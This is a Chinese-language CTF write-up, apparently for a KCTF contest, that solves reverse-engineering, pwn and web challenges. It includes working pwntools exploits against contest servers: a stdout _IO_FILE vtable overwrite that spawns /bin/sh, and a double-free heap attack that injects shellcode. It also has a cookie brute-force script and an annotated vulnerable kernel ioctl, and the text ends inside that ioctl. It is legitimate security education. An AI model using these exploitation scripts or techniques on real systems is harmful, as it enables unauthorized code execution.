程序逻辑等价于检查
hashlib.md5(xor(username, serial)).hexdigest() == 'dae52310067195714ba2cee2332bb866'
由于给了一组满足要求的 username, serial,所以是可以解的,计算 xor(public_serial, public_username, 'KCTF'.ljust(16, '\x00'))
即可。
Google 搜索 simpower site:pediy.com
可以找到一堆作者以前出的题的 writeup。
照猫画虎可以提取出一个 js,里面判断了输入开头必须是 Simpower91
。
后面看起来也没什么变化,还是传回 Delphi 写的程序里。由于代码完全没变,作者只是把一些明显的字符串改了改。
关键代码定位可以直接参照以前的 writeup,搜索里面的比较大的结构体偏移常数即可。
一些对应关系:
simvm: 0C16120912 simvmend: 0D17130A131B121C orign: 100D161811
提取验证的时候执行的代码之后会发现这次作者完全执行的是一整段 simvm。
simvm 的每个指令长度是 100 字节的一个奇怪结构体。最开头的一个字节是 opcode。
在 474B80 处可以找到一些 mnemonic:
CODE:00474B80 db 'mov',0 ; Text CODE:00474B8C db 'movzx',0 ; Text CODE:00474B9C db 'cmp',0 ; Text CODE:00474BA8 db 'xor',0 ; Text CODE:00474BB4 db 'or',0 ; Text CODE:00474BC0 db 'and',0 ; Text CODE:00474BCC db 'test',0 ; Text CODE:00474BDC db 'add',0 ; Text CODE:00474BE8 db 'sub',0 ; Text CODE:00474BF4 db 'imul',0 ; Text CODE:00474C04 db 'idiv',0 ; Text CODE:00474C14 db 'mul',0 ; Text CODE:00474C20 db 'div',0 ; Text CODE:00474C2C db 'inc',0 ; Text CODE:00474C38 db 'dec',0 ; Text CODE:00474C44 db 'lea',0 ; Text CODE:00474C50 db 'shr',0 ; Text CODE:00474C5C db 'shl',0 ; Text CODE:00474C68 db 'sar',0 ; Text CODE:00474C74 db 'sal',0 ; Text CODE:00474C80 db 'call',0 ; Text CODE:00474C90 db 'push',0 ; Text CODE:00474CA0 db 'pop',0 ; Text CODE:00474CAC db 'pushad',0 ; Text CODE:00474CBC db 'popad',0 ; Text CODE:00474CCC db 'pushfd',0 ; Text CODE:00474CDC db 'popfd',0 ; Text CODE:00474CEC db 'jmp',0 ; Text CODE:00474CF8 db 'jz',0 ; Text CODE:00474D04 db 'je',0 ; Text CODE:00474D10 db 'jnz',0 ; Text CODE:00474D1C db 'jne',0 ; Text CODE:00474D28 db 'js',0 ; Text CODE:00474D34 db 'jns',0 ; Text CODE:00474D40 db 'jc',0 ; Text CODE:00474D4C db 'jnc',0 ; Text CODE:00474D58 db 'jo',0 ; Text CODE:00474D64 db 'jno',0 ; Text CODE:00474D70 db 'ja',0 ; Text CODE:00474D7C db 'jna',0 ; Text CODE:00474D88 db 'jae',0 ; Text CODE:00474D94 db 'jnae',0 ; Text CODE:00474DA4 db 'jg',0 ; Text CODE:00474DB0 db 'jng',0 ; Text CODE:00474DBC db 'jge',0 ; Text CODE:00474DC8 db 'jnge',0 ; Text CODE:00474DD8 db 'jb',0 ; Text CODE:00474DE4 db 'jnb',0 ; Text CODE:00474DF0 db 'jbe',0 ; Text CODE:00474DFC db 'jnbe',0 ; Text CODE:00474E0C db 'jl',0 ; Text CODE:00474E18 db 'jnl',0 ; Text CODE:00474E24 db 'jle',0 ; Text CODE:00474E30 db 'jnle',0 ; Text CODE:00474E40 db 'jp',0 ; Text CODE:00474E4C db 'jnp',0 ; Text CODE:00474E58 db 'jpo',0 ; Text CODE:00474E64 db 'jpe',0 ; Text
这里的顺序与 004742B4 函数里注册指令 handler 的时候的顺序是一样的,注册指令 handler 的时候传了一个 opcode 参数。
所以不用逆向指令 handler 也可以知道每条指令大概是干嘛的。
简单逆一下指令解码的部分,随便输出一下 check 指令。因为指令解码没逆清楚,估计除了 mnemonic 以外基本不对。
但这不影响,结构上可以很明显的看出来是在 check 啥,怎么 check 的。之后到对应的指令的 handler 上下断点把数据拿出来即可。
('mov', 'r14', 'es:', '0x30') # loaded: 0x355000 ('mov', 'r14', 'r14', '0x2') # r14 <- byte ptr [0x355002] ('mov', 'r4', 'r14', '0x0') # r4 <- 0x00 (lowest byte of 0x355000) ('cmp', 'r4', 'r0', '0x0') # bytewise compare, 00 vs 01 (?) ('jz', 'r0', 'r0', '0x0') # ('cmp', 'r8', 'r0', '0x0') # ('jz', 'r0', 'r0', '0x0') # ('mov', 'r14', 'r4', '0xffffffe4') # load input string ('call', 'r0', 'r0', '0x0') # rel off 0xFFF6B16D (Get Len maybe?) ('cmp', 'r14', 'r0', '0x0') # compare with 4? ('jnz', 'r0', 'r0', '0x0') # should not jump, i.e. input len == 4 ('mov', 'r10', 'r0', '0x0') ('mov', 'r14', 'r10', '0x0') # Load char 0 ('mov', 'r4', 'r14', '0x0') ('mov', 'r14', 'r10', '0x1') # Load char 1 ('mov', 'r4', 'r14', '0x0') ('mov', 'r14', 'r10', '0x2') # Load char 2 ('mov', 'r4', 'r14', '0x0') ('mov', 'r14', 'r10', '0x3') # Load char 3 ('mov', 'r4', 'r14', '0x0') ('mov', 'r14', 'r4', '0xffffffe4') # load string Pairer ('movzx', 'r14', 'r14', '0x0') # char 0 ('add', 'r14', 'r0', '0x0') # Add 0x7F ('xor', 'r10', 'r10', '0x0') # ('mov', 'r10', 'r4', '0xffffffee') # E0 ('cmp', 'r14', 'r10', '0x0') ('jnz', 'r0', 'r0', '0x0') ('mov', 'r14', 'r4', '0xffffffe4') ('movzx', 'r14', 'r14', '0x1') # char 1 ('add', 'r14', 'r0', '0x0') ('xor', 'r10', 'r10', '0x0') ('mov', 'r10', 'r4', '0xffffffed') # B2 ('cmp', 'r14', 'r10', '0x0') ('jnz', 'r0', 'r0', '0x0') ('mov', 'r14', 'r4', '0xffffffe4') ('movzx', 'r14', 'r14', '0x2') # char 2 ('add', 'r14', 'r0', '0x0') ('xor', 'r10', 'r10', '0x0') ('mov', 'r10', 'r4', '0xffffffec') # B1 ('cmp', 'r14', 'r10', '0x0') ('jnz', 'r0', 'r0', '0x0') ('mov', 'r14', 'r4', '0xffffffe4') ('movzx', 'r14', 'r14', '0x3') # char 3 ('add', 'r14', 'r0', '0x0') ('xor', 'r10', 'r10', '0x0') ('mov', 'r10', 'r4', '0xffffffeb') # B0 ('cmp', 'r14', 'r10', '0x0') ('jnz', 'r0', 'r0', '0x0') ('lea', 'r14', 'r4', '0xffff7fd8') # "ok" ('push', 'r14', 'r0', '0x0') # push ok ('xor', 'r12', 'r12', '0x0') # clear sth ('mov', 'r10', 'r0', '0x0') # ('mov', 'r14', 'r8', '0x338') # ('call', 'r0', 'r0', '0x0') # Some messagebox thing? # jnz should land here ('jmp', 'r0', 'r0', '0x0') # bail out
最后答案是 Simpower91a321
。
一个 bug 非常多的儿童 glibc & ptmalloc 搏斗题,没什么意思。
这里用的 bug 是 edit 的时候输入的 idx 没检查,从而可以直接改 stdout 的 bug。
做法就是先改一次 stdout,leak 指向 libc 里的一些指针,得到 libc 地址,然后再改一次 stdout 控制 rip。
由于 libc 是 2.23,_IO_FILE 的 vtable 可以随便改。
from pwn import * import json context.log_level = 'debug' context.arch = 'amd64' REMOTE_HOST = '154.8.174.214' REMOTE_PORT = 10001 TARGET_ELF = './pwn' libc = ELF('./libc-2.23.so') one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # Fold if 1: if args.REMOTE: r = remote(REMOTE_HOST, REMOTE_PORT) else: try: os.unlink('cid') except: pass context.terminal = ['tmux', 'splitw', '-v', 'sudo', '-E', 'sh', '-c'] r = process(['docker', 'run', '-i', '--pid', 'host', '--cidfile', os.path.join(os.getcwd(), 'cid'), '--user', '1000:1000', '--rm', '-v', '{}:/work'.format(os.getcwd()), '--workdir', '/work', 'ubuntu:16.04', TARGET_ELF]) @atexit.register def killa(): cid = read('cid') if not cid: return print 'Killing container ', subprocess.call(['docker', 'kill', cid]) def attach(**kwargs): if args.REMOTE: return while True: try: cid = read('cid') if not cid: continue state = json.loads(subprocess.check_output(['docker', 'inspect', cid])) break except IOError as e: if e.errno != 2: raise time.sleep(0.1) pid = state[0]['State']['Pid'] gdb.attach(pid, exe=TARGET_ELF, **kwargs) # Edit -6 to modify stdout structure payload = flat([ 0xfbad1800, 0, 0, 0, ]) + '\x00' r.sendlineafter('>', '3') r.sendlineafter('idx : ', '-6') r.sendlineafter('text : ', payload) r.recvn(8 * 3) libc.address = u64(r.recvn(8)) - libc.symbols['_IO_file_jumps'] assert libc.address & 0xFFF == 0 log.success('libc base = {:#x}'.format(libc.address)) data = p64(libc.symbols['system']) * 64 r.sendlineafter('>', '1') r.sendlineafter('size : ', str(len(data))) r.recvuntil('heap 0 : ') vtable = int(r.recvline().strip(), 16) r.sendlineafter('>', '3') r.sendlineafter('idx : ', '0') r.sendlineafter('text : ', data) # attach() payload = fit({ 0: p32(0xfbad1801) + ';/bin/sh', 16: [libc.address + 3954339] * 4 + [libc.address + 3954339 + 1, libc.address + 3954339, libc.address + 3954339 + 1], 104: libc.address + 3950816, 112: 1, 120: -1 % 2**64, 128: 0x000000000b000000, 136: libc.address + 3958656, 144: -1 % 2**64, 160: libc.address + 3950496, 192: 0xffffffff, 216: vtable }, filler='\x00') print hexdump(payload) assert '\n' not in payload r.sendlineafter('>', '3') r.sendlineafter('idx : ', '-6') r.sendlineafter('text : ', payload) r.interactive()
非常乱的 C++ 程序,check 的逻辑大概是把输入切成几段,看成二维迷宫里的路径,走到就算OK。最后跟了一个 3DES。
from Crypto.Cipher import DES3 import collections kStrangeStar = "**************@************-************--**----*****-***-**-*****-***#**-*****--*****-******-*****-******-------******-*-----******---**-*******-****--*****************" v6 = kStrangeStar.find('@') def what(target): for i in xrange(0, len(target)): for j in xrange(6, -1, -2): v1 = (target[i] >> j) & 3 if v1 == 1: v6 += 13 elif v1 == 2: v6 -= 1 elif v1 == 3: v6 += 1 elif v1 == 0: v6 -= 13 if kStrangeStar[v6] not in '#-': return False return kStrangeStar[v6] == '#' grid = '''************* *@*********** *-*********** *--**----**** *-***-**-**** *-***#**-**** *--*****-**** **-*****-**** **-------**** **-*-----**** **---**-***** **-****--**** *************'''.split('\n') def solve(grid): flat = ''.join(grid) start = flat.find('@') end = flat.find('#') ans = {} ans[start] = (0, []) q = collections.deque([]) q.append(start) while len(q): cur = q.popleft() for dir in xrange(4): delta = [-13, 13, -1, 1][dir] new = cur + delta if new < 0 or new >= len(flat): continue if flat[new] in '-#' and new not in ans: ans[new] = (ans[cur][0] + 1, ans[cur][1] + [dir]) q.append(new) return ans[end] def assemble(answer): print answer # assert answer[0] == 24 nibles = answer[1] # assert len(nibles) == 24 res = '' for i in xrange(0, len(nibles), 4): x = 0 for j in xrange(i, min(i + 4, len(nibles))): x = (x << 2) | nibles[j] res += chr(x) return res part1 = assemble(solve(grid)) grid[4-1], grid[5-1] = grid[5-1], grid[4-1] grid[9-1], grid[10-1] = grid[10-1], grid[9-1] grid[10-1], grid[11-1] = grid[11-1], grid[10-1] part2 = assemble(solve(grid)) grid[5-1], grid[7-1] = grid[7-1], grid[5-1] grid[9-1], grid[12-1] = grid[12-1], grid[9-1] grid[11-1], grid[12-1] = grid[12-1], grid[11-1] part3 = assemble(solve(grid)) grid[2-1], grid[12-1] = grid[12-1], grid[2-1] grid[9-1] = grid[7-1] grid[3-1] = grid[5-1] grid[11-1] = grid[5-1] grid[7-1] = grid[4-1] grid[8-1] = grid[4-1] part4 = assemble(solve(grid)) keyz = part1 + part2 + part3 keyz = keyz.encode('base64').strip() part4 = DES3.new(keyz).encrypt(part4) flag = (part1 + part2 + part3 + part4).encode('base64').replace('\n', '') import hashlib print hashlib.md5(flag).hexdigest() print flag
作者自己写了一个简单的堆内存分配器,堆块大概长这样:
| size + mask (8 bytes) | Data | | size + mask (8 bytes) | Free space | bk | fd | Mask: bit 0: in use bit 1: artifact of chunk split
BUG 是 free 之后指针没清零,从而任意 double free。
这个简单的分配器里没有任何 hardening,可以先构造一次写一个很大的值到 .bss 上的 size 数组。
这样能控制整个堆区域,接下来控制 free list,把 next 指向 .bss 上的内容指针数组。
修改这里的内容为栈上指针,之后直接修改栈上的返回地址即可。
作者写的分配器 mmap 内存的时候设的是 rwx,因此不需要 ROP。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' if args.REMOTE: r = remote('154.8.174.214', 10000) else: r = process('./0xbird1') def alloc(size): r.sendlineafter('| ', 'A') r.sendlineafter('Size: ', str(size)) def leave(): r.sendlineafter('| ', 'E') def free(idx): r.sendlineafter('| ', 'F') r.sendlineafter('Index: ', str(idx)) def write_heap(idx, data): r.sendlineafter('| ', 'W') r.recvuntil(str(idx) + ') ') addr = int(r.recvuntil(' ').strip(), 16) r.sendlineafter('Write addr: ', str(idx)) r.sendafter('Write value: ', data) return addr def stack_ptr(): r.sendlineafter('| ', 'N') r.recvuntil('Here you go: ') return int(r.recvline().strip(), 16) blob_ptr_array = 0x6020A0 blob_size_array = 0x6023C0 attach = lambda: gdb.attach(r, ''' define dumpheap print (void)(0x400B94)() end define blobptr x/10xg 0x6020A0 end define blobsize x/10xw 0x6023C0 end ''') stack = stack_ptr() + 316 # Pair to ret of main() log.success('Stack: {:#x}'.format(stack)) alloc(0x100) alloc(0x100) alloc(0x100) free(3) free(2) free(1) alloc(0x200) write_heap(4, cyclic(0x100) + fit({ 0: 0x10 | 1 | 2, 0x8 + 0x10: 0x10, 0x20 : 0, 0x28 : blob_size_array + 4 * 4, })) free(2) sc_addr = write_heap(4, fit({ 0: asm(shellcraft.sh()), 0x210 - 0x8: 0xde9, 0xff0 - 0x8: blob_ptr_array + 5 * 8 - 3, 0xff8 - 0x8: 0, })) log.success("Shellcode address: {:#x}".format(sc_addr)) alloc(0xde0) alloc(0x20) alloc(0x1000) write_heap(6, fit({ 3: stack }, filler='\x00')) write_heap(7, p64(sc_addr)) # attach() leave() r.interactive()
纯脑洞题,按照每一位都是 0 或者 1 暴力 cookie 里的 key0 ~ key5。
In [2]: for i in xrange(2**6): ...: r = requests.get('http://154.8.174.214:8080/', headers={'Cookie': 'key0={}; key1={}; key2={}; key3={}; key4={}; key5={}'.format(i&1, (i>>1)&1, (i>> ...: 2)&1, (i>>3)&1, (i>>4)&1, (i>>5)&1)}) ...: print i, r.content ...: 0 Not Admin 1 Not Admin 2 Not Admin 3 Not Admin 4 Not Admin 5 Not Admin 6 Not Admin 7 Not Admin 8 Not Admin 9 Not Admin 10 Not Admin 11 Not Admin 12 Not Admin 13 Not Admin 14 Not Admin 15 Not Admin 16 Not Admin 17 Not Admin 18 Not Admin 19 Not Admin 20 Not Admin 21 Not Admin 22 Not Admin 23 Not Admin 24 Not Admin 25 flag{4E0844E2-705A-4374-9050-F56A10BA9E9B} 26 Not Admin ... <略> ...
作者通过打出一个提示信息的方式假装实现了一个 ECC,实际上实现的是错的。
但由于后面是把 flag 的每个字符加密之后判断,只要作者实现的那个不知道实际上是什么鬼的东西是个双射就能解,实际上也确实是。
直接用 Frida 暴力跑一下即可。
Interceptor.attach(ptr("0x411249"), { onEnter: function(args) { var lhs = args[0]; var rhs = args[1]; var size = args[2].toInt32(); for (var i = 0; i < size / 4; i++) { if (lhs.readU32() == rhs.readU32()) { console.log("OK " + i) } lhs = lhs.add(4); rhs = rhs.add(4); } } })
import frida import sys import subprocess import time import string with open('script.js', 'rt') as fp: script_data = fp.read() ALPHABET = string.printable.strip() def on_message(message, data): print(message) for c in ALPHABET: print c inp = c * 14 proc = subprocess.Popen(['Ecc_Q3.exe'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) session = frida.attach(proc.pid) script = session.create_script(script_data) script.on('message', on_message) script.load() time.sleep(1.0) proc.communicate(inp)
输出的是第几位应该是什么字符,拼起来即可得到答案。
题目给的是一个洋葱一样的东西。最外层读取输入,然后开始一层一层的解码下一层,迁移代码/数据和栈到另一块内存区域,继续执行。每一层里面都执行了一点点跟 flag 验证有关的逻辑,最后一层执行的特别多。中间似乎有一些 rdtsc 反调试和 in 指令检测 VMware。反正丢进调试器里直接拿给的序列号跑跑试试,发现行为正常,反调试应该影响不到我们。
注意到每次跳到下一层之前都写了 fs:8,此时本层的代码都是解码好的,用一个 x64dbg 脚本 dump 下所有代码。
dbh // Do this manually // bph fs:8,w,4 mov $last, 0 mov $cnt, 0 looop: erun inc $cnt log "Hit {$cnt}" find cip, "FF D0" mov $next, $result cmp $next, 0 jz finish erun $next cmp $last, 0 jz skip dump: savedata "Z:\{$cnt-1}.bin",$last,cip+2-$last log "Dump {$last}, size {cip+2-$last}" skip: sti mov $last, cip jmp looop finish: msg "Done"
第一层和最后一层的代码没有这里找的特征,需要手动存下来,第一层就是整个函数的 epilogue:
push ebp mov ebp, esp sub esp, 0x2C
最后一层存成 tail.bin。顺便可以分析出验证逻辑就是把输入的序列号 hex decode 之后进行一些计算,然后和输入的用户名比较,要求相符。
接下来,注意到作者保存现场的时候用的方式比较单一,这些代码里面夹杂的真正逻辑都在
popf pop edi pop esi pop edx pop ecx pop ebx pop eax
和对应的 push 之间。写个脚本把它们都提取出来,可以发现每一层里面最前面四条指令是重定位 esi 到数据上,且每一层里的都一样,可以去掉。
from capstone import * cs = Cs(CS_ARCH_X86, CS_MODE_32) cs.detail = True outfp = open('code.bin', 'wb') outfp.write(b'\x55\x8B\xEC\x83\xEC\x2C') for i in xrange(2, 2879): with open('dumps/%X.bin'%i, 'rb') as fp: data = fp.read() instrs = list(cs.disasm(data, 0)) pos = data.find('\x9D\x5F\x5E\x5A\x59\x5B\x58') endpos = data.find('\x50\x53\x51\x52\x56\x57\x9C') assert pos != -1, i assert endpos != -1, i for lead in xrange(len(instrs)): if instrs[lead].address == pos: break assert lead != len(instrs) cur = lead + 7 cnt = 0 while cur < len(instrs) and instrs[cur].address != endpos: mnem = instrs[cur].mnemonic opstr = instrs[cur].op_str if mnem == 'jmp': addr = int(opstr, 16) for cur in xrange(len(instrs)): if instrs[cur].address == addr: break continue if cnt == 0: assert mnem == 'call' elif cnt == 1: assert mnem == 'pop' and opstr == 'esi' elif cnt == 2: assert mnem == 'sub' and opstr.startswith('esi, 0x40') elif cnt == 3: assert mnem == 'add' and opstr.startswith('esi, 0x') cnt += 1 if cnt > 4: print mnem, opstr outfp.write(instrs[cur].bytes) cur += 1 # print '-' * 80 print outfp.write('c0eb0730c10fb6c26bc01b'.decode('hex')) with open('tail.bin', 'rb') as fp: fp.seek(0x128) outfp.write(fp.read(0x1075 - 0x128)) outfp.write('\xC3') outfp.close() ''' call 0x4e pop esi sub esi, 0x401191 add esi, 0x55df39 mov al, byte ptr [esi + 0x1a7] xor al, byte ptr [esi + 0x1b7] mov byte ptr [ebp - 1], al mov al, byte ptr [esi + 0x1aa] -------------------------------------------------------------------------------- call 0x53 pop esi sub esi, 0x401196 add esi, 0x55dd7b xor al, byte ptr [esi + 0x1ba] mov byte ptr [ebp - 2], al movzx eax, byte ptr [esi + 0x1a4] movzx ecx, byte ptr [esi + 0x1b4] -------------------------------------------------------------------------------- .... Note: esi Pair to kExpandedKeys unsigned char g_username[16]; unsigned char tmp; unsigned char kSBox[256]; unsigned char kExpandedKeys[176]; unsigned char g_serial[16]; Removing esi setup code leads to cleaner output ''' ''' Code in 1.bin: seg000:00000192 push ebp seg000:00000193 mov ebp, esp seg000:00000195 sub esp, 2Ch '''
运行即可得到一个 code.bin
,它的功能与 CrakeMe.exe
(这 exe 的名字有个 typo...)里变换输入序列号的部分完全一致,可以写个脚本用模拟器跑一下验证一下:
from unicorn import * from unicorn.x86_const import (UC_X86_REG_ESP, UC_X86_REG_EBP, UC_X86_REG_EIP, UC_X86_REG_EAX, UC_X86_REG_EBX, UC_X86_REG_ECX, UC_X86_REG_EDX, UC_X86_REG_ESI, UC_X86_REG_EDI, UC_X86_INS_CALL) from capstone import * import struct from pwnlib.util.fiddling import hexdump def p32(x): return struct.pack('<I', x) def push(uc, val): esp = uc.reg_read(UC_X86_REG_ESP) uc.reg_write(UC_X86_REG_ESP, esp - 4) uc.mem_write(esp - 4, p32(val)) SBOX = 'D6A82DE32F0D1E90C1E9C2DABC780C67BAD5FC311B30726BF0E5085D7EF740A6750F264ECBA39CAEF2CA89B741639832434A656D37CF6827B32A0A6E6664CCC5FF567A8B4B24C3055E2BDFD144A1588329C8C9339ABB809ED404CD77D0ABE11F381D8D3F8F813BA2DE03B616E676F985A7B4A58C4C0196C6BFDD18E47B7460872288C04262FB9F2055EED947342CB81900E2133A6FAA5106AC452812E0545C49CE93EBA9D86C2595E70B4FFEADBD599B39F8B58602A0B0EAFD10110EF3467D7F84AF095091C7078299E8DBBEB2B914538A35F471733E2E366A8EF6DCF1482361D21CD3693D5B2179701AED17925FB1EF3CA415C47C5752949D4DECFA97F5D75A'.decode('hex') SUBKEYS = '736E61696C3338393671333430352500E4511D6D88622554BE1316608E2633601192CD7499F0E82027E3FE40A9C5CD20B32F7AA72ADF92870D3C6CC7A4F9A1E7221DEEEE08C27C6905FE10AEA107B149F7D5D5DCFF17A9B5FAE9B91B5BEE0852FFE5D5E500F27C50FA1BC54BA1F5CD19595801D759AA7D87A3B1B8CC024475D5C2C502A09B6F7F2738DEC7EB3A9AB23E61F2B020FA9DCF07C24308ECF8D9BAD262060561989BCA665AD8C28AA2017858'.decode('hex') assert len(SBOX) == 256 assert len(set(SBOX)) == 256 print 'S-Box:' print hexdump(SBOX) assert SUBKEYS.startswith('snail3896q3405%\x00') print 'Subkeys:' print hexdump(SUBKEYS) STACK_LIMIT = 0x19D000 STACK_BASE = 0x1A0000 EXIT_ADDRESS = 0xFFFF0000 DATA_BASE = 0x23330000 BUF = DATA_BASE + len(SBOX) + len(SUBKEYS) with open('code.bin', 'rb') as fp: data = fp.read() image_base = 0x400000 image_size = (len(data) + 0xFFF) & ~0xFFF uc = Uc(UC_ARCH_X86, UC_MODE_32) uc.mem_map(image_base, image_size) uc.mem_write(image_base, data) uc.mem_map(STACK_LIMIT, STACK_BASE-STACK_LIMIT) uc.mem_write(STACK_LIMIT, '\xdd' * (STACK_BASE-STACK_LIMIT)) uc.reg_write(UC_X86_REG_ESP, STACK_BASE-0x800) uc.reg_write(UC_X86_REG_EBP, STACK_BASE-0x800+0xC) uc.mem_map(DATA_BASE, 0x1000) uc.mem_write(DATA_BASE, SBOX) uc.mem_write(DATA_BASE+len(SBOX), SUBKEYS) # data uc.mem_write(BUF, 'F8BE002EC82ED59F731E854EED087FA500'.decode('hex')) uc.mem_map(EXIT_ADDRESS, 0x1000) push(uc, EXIT_ADDRESS) uc.reg_write(UC_X86_REG_ESI, DATA_BASE) cs = Cs(CS_ARCH_X86, CS_MODE_32) uc.emu_start(image_base, EXIT_ADDRESS) print repr(uc.mem_read(BUF, 16)) # 'B54333CE90874B76'
接下来分析提取出的代码。Hex-Rays 可以在其上正常工作。反编译输出里可以看到大量的形如 (xxxx >> 7) * 0x1B
的东西,眼尖的人应该一眼就意识到了这很可能是 Rijndael's finite field 上的乘法操作里的片段。仔细看一下可以确定是个修改过的 AES 解密(看 subkey 是倒着用的就可以认出来了)。主要改过的部分是一些轮里的 MixColumns 和 AddRoundKey 的顺序换了,以及基本每轮过 inv S-box 之后都动了点手脚。对应写出一个加密代码即可:
from array import array data = map(ord, 'KCTF'.ljust(16, '\x00')) aes_sbox = array( 'B', '9075b469594797c61ac23aa90e05bb21' 'b9ba9b92cef26beb7a8fe914e161065f' '87e680de45a622379a5039498d02d604' '15132f538cd1d73460b09366f0e4d563' '1e2c83304c99bd8bdd9f314474f923aa' 'c396f6cf9d8841f54eaeffe59e1b48ed' '7edf842d3d323c0f36e3d817a5333b94' 'e8d316d47d206d5b0de7427cf4be1cbf' '5665c74fc06fb37f812ad0437362d964' '07c4eca1f7a776fc2ec854af26f85786' 'b54d6725f1721f7001a3955d98ac27c1' 'b6eecc3871b26a2b8ecd10550cadcb78' '82080a46f33f77c5515229243e5aa035' '5c4be0e2581100fea48a0bcadb79684a' '9c5e91037b196ca8c909b7a2faea89ef' '18dc28bcd2fdda1db16efb8512b8ab40'.decode('hex') ) subkeys = '736E61696C3338393671333430352500E4511D6D88622554BE1316608E2633601192CD7499F0E82027E3FE40A9C5CD20B32F7AA72ADF92870D3C6CC7A4F9A1E7221DEEEE08C27C6905FE10AEA107B149F7D5D5DCFF17A9B5FAE9B91B5BEE0852FFE5D5E500F27C50FA1BC54BA1F5CD19595801D759AA7D87A3B1B8CC024475D5C2C502A09B6F7F2738DEC7EB3A9AB23E61F2B020FA9DCF07C24308ECF8D9BAD262060561989BCA665AD8C28AA2017858'.decode('hex') subkeys = [map(ord, subkeys[i:i+16]) for i in xrange(0, len(subkeys), 16)] def SubBytesWithTwist(arr, twist=lambda x: x): return [twist(aes_sbox[x]) for x in arr] def AddRoundKey(arr, r): return [x ^ subkeys[r][i] for i, x in enumerate(arr)] def ShiftRows(b): b = b[::] b[1], b[5], b[9], b[13] = b[5], b[9], b[13], b[1] b[2], b[6], b[10], b[14] = b[10], b[14], b[2], b[6] b[3], b[7], b[11], b[15] = b[15], b[3], b[7], b[11] return b def GaloisMultiply(a, b): """Galois Field multiplicaiton for AES""" p = 0 while b: if b & 1: p ^= a a <<= 1 if a & 0x100: a ^= 0x1b b >>= 1 return p & 0xff def MixColumn(block): block = block[::] # Since we're dealing with a transposed matrix, columns are already # sequential for col in xrange(0, 16, 4): v0, v1, v2, v3 = block[col:col + 4] block[col] = GaloisMultiply(v0, 2) ^ v3 ^ v2 ^ GaloisMultiply(v1, 3) block[col + 1] = GaloisMultiply(v1, 2) ^ v0 ^ v3 ^ GaloisMultiply(v2, 3) block[col + 2] = GaloisMultiply(v2, 2) ^ v1 ^ v0 ^ GaloisMultiply(v3, 3) block[col + 3] = GaloisMultiply(v3, 2) ^ v2 ^ v1 ^ GaloisMultiply(v0, 3) return block data = AddRoundKey(data, 0) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: (x + 1) % 256) data = AddRoundKey(data, 1) data = MixColumn(data) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: (x + 2) % 256) data = MixColumn(data) data = AddRoundKey(data, 2) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: x ^ 9) data = AddRoundKey(data, 3) data = MixColumn(data) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: x ^ 7) data = MixColumn(data) data = AddRoundKey(data, 4) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: (x - 1) % 256) data = AddRoundKey(data, 5) data = MixColumn(data) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: x ^ 3) data = MixColumn(data) data = AddRoundKey(data, 6) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: x ^ 8) data = MixColumn(data) data = AddRoundKey(data, 7) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: x ^ 6) data = AddRoundKey(data, 8) data = MixColumn(data) data = ShiftRows(data) data = SubBytesWithTwist(data) # print map(hex, data) data = MixColumn(data) # print map(hex, data) data = AddRoundKey(data, 9) data = ShiftRows(data) data = SubBytesWithTwist(data, lambda x: x ^ 9) data = AddRoundKey(data, 10) ans = ''.join(map(chr, data)) print ans.encode('hex').upper()
运行即可得到答案。
简单逆向结果:
__int64 __fastcall kpwn_ioctl(__int64 file, int cmd, unsigned __int64 args_user) { __int64 ret; // rbx Staff *cur_; // r12 Staff *v7; // rax __int64 v8; // rdi unsigned __int64 idx; // rbx __int64 v10; // rax __int64 _idx; // rdx Staff *target; // rax __int64 size; // rdx Staff *cur; // rbx __int64 cur_ptr; // rdi Staff *_cur; // rax __int64 args[3]; // [rsp+0h] [rbp-28h] mutex_lock(&lock); ret = -22LL; switch ( cmd ) { case 0x1336: // new staff if ( cnt > 7 ) goto LABEL_39; v8 = kmalloc_caches[10]; idx = cnt; staffs[idx].rc = 1LL; staffs[idx].linked_to = -1LL; v10 = kmem_cache_alloc(v8, 3520LL); ++cnt; staffs[idx].data = v10; // data can be uninitialized ret = 0LL; break; case 0x1337: if ( copy_from_user(args, args_user, 16LL) ) goto LABEL_39; _idx = args[0]; if ( args[0] >= cnt ) goto LABEL_39; if ( cnt <= args[1] ) goto LABEL_39; target = &staffs[args[1]]; if ( target->rc == 0xDEADBEEFLL ) goto LABEL_39; target->linked_to = args[0]; ret = 0LL; target->what = staffs[_idx].rc; break; case 0x1338: // lock staff if ( big_master_num || args_user >= cnt ) goto LABEL_39; big_master_num = 1LL; staffs[args_user].rc = 0xDEADBEEFLL; ret = 0LL; break; case 0x1339: // unlock staff if ( args_user >= cnt ) goto LABEL_39; if ( staffs[args_user].rc == 0xDEADBEEFLL ) big_master_num = 0LL; ret = 0LL; staffs[args_user].rc = 1LL; break; case 0x133A: // write data if ( !copy_from_user(args, args_user, 24LL) && args[0] < cnt ) { size = args[2]; if ( args[2] <= 0x300uLL ) { cur = &staffs[args[0]]; if ( cur->rc != 0xDEADBEEFLL && cnt > cur->linked_to ) { cur_ptr = cur->data; if ( !cur_ptr ) { cur->data = kmem_cache_alloc(kmalloc_caches[10], 3520LL);// 1024 bytes size = args[2]; cur_ptr = staffs[args[0]].data; } if ( !copy_from_user(cur_ptr, args[1], size) ) goto LABEL_16; } } } goto LABEL_39; case 0x133B: // read data if ( copy_from_user(args, args_user, 24LL) ) goto LABEL_39; if ( args[0] >= cnt ) goto LABEL_39; if ( args[2] > 0x300uLL ) goto LABEL_39; _cur = &staffs[args[0]]; if ( _cur->rc == 0xDEADBEEFLL || cnt <= _cur->linked_to || copy_to_user(args[1], _cur->data, args[2]) )// LEAK: data can be uninitialized goto LABEL_39; ret = 0LL; break; case 0x133C: if ( args_user >= cnt ) goto LABEL_39; cur_ = &staffs[args_user]; if ( cur_->rc == 0xDEADBEEFLL || cur_->linked_to == -1 ) goto LABEL_39; if ( cur_->what == 0xDEADBEEFLL ) { ret = 0LL; kfree(cur_->data); cur_->data = 0LL; cur_->linked_to = -1LL; } else { cur_->linked_to = -1LL; ret = 0LL; } break; case 